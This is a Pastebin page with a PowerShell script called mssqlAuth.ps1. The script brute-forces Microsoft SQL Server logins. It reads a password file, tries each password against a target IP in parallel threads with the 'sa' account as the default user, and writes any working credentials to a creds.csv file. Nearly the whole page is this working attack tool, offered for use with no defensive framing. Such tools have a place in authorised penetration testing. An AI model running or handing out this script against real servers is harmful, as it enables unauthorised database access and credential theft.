Guest User

mssqlAuth.ps1

a guest
Apr 25th, 2018
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <#
  2. .SYNOPSIS
  3. MS-SQL Authentication Tool
  4.  
  5. .DESCRIPTION
  6. Loads a list of passwords and attempts to authenticate with MS-SQL server
  7.  
  8. .PARAMETER Ip
  9. The IP of listening MS-SQL Service
  10.  
  11. .PARAMETER Port
  12. The Port MS-SQL Service is Running on (default: 1433)
  13.  
  14. .PARAMETER User
  15. The username to authenticate as (default: sa)
  16.  
  17. .PARAMETER Passwords
  18. Local file with one password per line, to use for authentication attempts
  19.  
  20. .PARAMETER Database
  21. Optional Database name to use for authentication requests (default: none)
  22.  
  23. .PARAMETER Threads
  24. The thread count to use (default: 5)
  25.  
  26. .EXAMPLE
  27. .\mssqlAuth.ps1 -Ip 10.10.10.10 -Port 1433 -User sa -Passwords "c:\passwords\mssql.lst" -threads 10
  28. #>
  29.  
  30. param (
  31.     [Parameter(Mandatory = $True)][string]$ip,
  32.     [string]$passwords = "",
  33.     [string]$user = "sa",
  34.     [string]$database = "",
  35.     [int]$port = 1433,
  36.     [int]$threads = 5
  37. )
  38.  
  39.  
  40. <# Simple function to print the 0x31337 application banner #>
  41. function PrintBanner {
  42.     Invoke-Expression "cls";
  43.     Write-Host "";
  44.     Write-Host "[*] MS-SQL - Authentication Tool";
  45.     Write-Host "";
  46. }
  47.  
  48.  
  49.  
  50. <# Handle CTRL+C Interupt and Exit Gracefully #>
  51. [console]::TreatControlCAsInput = $True;
  52.  
  53. <# Create an output directory if one doesn't exist already #>
  54. $outDir = (Get-Item -Path ".\" -Verbose).FullName + "\output";
  55. if(!(Test-Path -PathType Container $outDir)) {
  56.     New-Item -ItemType Directory -Force -Path $outDir;
  57. }
  58. $outDir = $outDir + "\" + $ip;
  59. if(!(Test-Path -PathType Container $outDir)) {
  60.     New-Item -ItemType Directory -Force -Path $outDir | Out-Null;
  61. }
  62.  
  63. # START
  64. PrintBanner;
  65. if($passwords -eq "") {
  66.     Write-Host "[x] Missing Argument: -Passwords <FILE>";
  67.     Write-Host "   [x] Check arguments and try again....`n`n";
  68.     Exit;
  69. } else {
  70.     if(Test-Path -Path $passwords) {
  71.         $pwds = Get-Content -Path $passwords;
  72.         $pwds = $pwds | select -uniq;
  73.     } else {
  74.         Write-Host "";
  75.         Write-Host "[x] Unable to load Passwords from: $passwords";
  76.         Write-Host "   [x] Check path or permissions and try again....";
  77.         Write-Host "`n";
  78.         Exit;
  79.     }
  80. }
  81.  
  82. $ScriptBlock = {
  83.     Param (
  84.         [string]$ip,
  85.         [string]$usr,
  86.         [string]$pwd,
  87.         [string]$db
  88.     )
  89.     # Build MS-SQL Connector String & Connect
  90.     $msg="";
  91.     try {
  92.         $Error.Clear();
  93.         $conn = New-Object System.Data.SqlClient.SqlConnection;
  94.         $conn.ConnectionString = "Server=$($ip);Uid=$($usr);Pwd=$($pwd);Database=$($db)";
  95.         $conn.Open();
  96.         if($conn.State -eq "Open") {
  97.             Write-Host "[***] MS-SQL Authentication Success!"
  98.             Write-Host "   [*] Server: $ip";
  99.             Write-Host "   [*] User: $usr";
  100.             Write-Host "   [*] Pass: $pwd";
  101.             Write-Host "   [*] DB: $db";
  102.             Write-Host "";
  103.         }
  104.         $conn.Close(); 
  105.         $status = $True;
  106.         $out = "mssql,$ip,$usr,$pwd,$db";
  107.         Add-Content -path "$($outDir)\creds.csv" $out | Out-Null;
  108.         Exit;      
  109.     } catch {
  110.         $status = $False;
  111.         $msg = $_.Exception.Message;
  112.     }
  113.     return New-Object PSObject -Property @{
  114.         conStr = $myConnectStr;
  115.         status = $status;
  116.         password = $pwd;
  117.         msg = $msg;
  118.     }
  119. }
  120.  
  121. $count=0;
  122. $totalPasswords = $pwds.Count;
  123. Write-Host "[*] Target: $($ip)";
  124. Write-Host "   [+] Username: $($user)";
  125. Write-Host "   [+] Pwd File: $($passwords)";
  126. Write-Host "      [-] Passwords: $($pwds.Count)";
  127. Write-Host "   [+] Threads: $($threads)";
  128. Write-Host ""
  129. Write-Host "[*] Starting MS-SQL Auth attempts, hang tight....";
  130.  
  131. # Setup Thread Pool & Kick off threads...
  132. $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $threads);
  133. $RunspacePool.Open();
  134. $Jobs = @();
  135. For($i=0; $i -lt $pwds.Count; $i++) {
  136.     $pwd = $pwds[$i];
  137.     $Job = [powershell]::Create().AddScript($ScriptBlock).AddParameter("ip", $ip).AddParameter("port", $port).AddParameter("usr", $user).AddParameter("pwd", $pwd).AddParameter("db", $database);
  138.     $Job.RunspacePool = $RunspacePool;
  139.     $Jobs += New-Object PSObject -Property @{
  140.       RunNum = $i;
  141.       Job = $Job;
  142.       Result = $Job.BeginInvoke();
  143.     }
  144. }
  145.  
  146. # EndInvoke returns the objects from the background threads
  147. ForEach($Job in $Jobs) {  
  148.     $res = $Job.Job.EndInvoke($Job.Result);
  149.     $remaining = $totalPasswords - $count;
  150.     $count++;
  151.     if($res.msg.ToString() -match '(?im)failed because the host program or the command type does not support user interaction') {
  152.         Write-Host "`n`n[*] MS-SQL Authentication Success!";
  153.         Write-Host "   [*] Host: $($ip):$($port)";
  154.         Write-Host "   [*] User: $($user)";
  155.         Write-Host "   [*] Pass: $($res.password)";
  156.         if($database -ne "") {
  157.             Write-Host "   [*] DB: $($database)";
  158.         }
  159.         Write-Host "`n";
  160.         $out = "mssql,$ip,$port,$user,$($res.password),$database";
  161.         Add-Content -path "$($outDir)\creds.csv" $out | Out-Null;
  162.         Exit;
  163.     } else {
  164.         Write-Host "   [x] Failed: $($res.password)";
  165.         #Write-Host "      [ERROR] $($res.msg)";
  166.     }
  167. }
  168. Write-Host "`n[x] No Luck, Sorry!"
  169. Write-Host "   [x] Try another username and/or password list.....`n";
  170. # EOF
Advertisement
Add Comment
Please, Sign In to add comment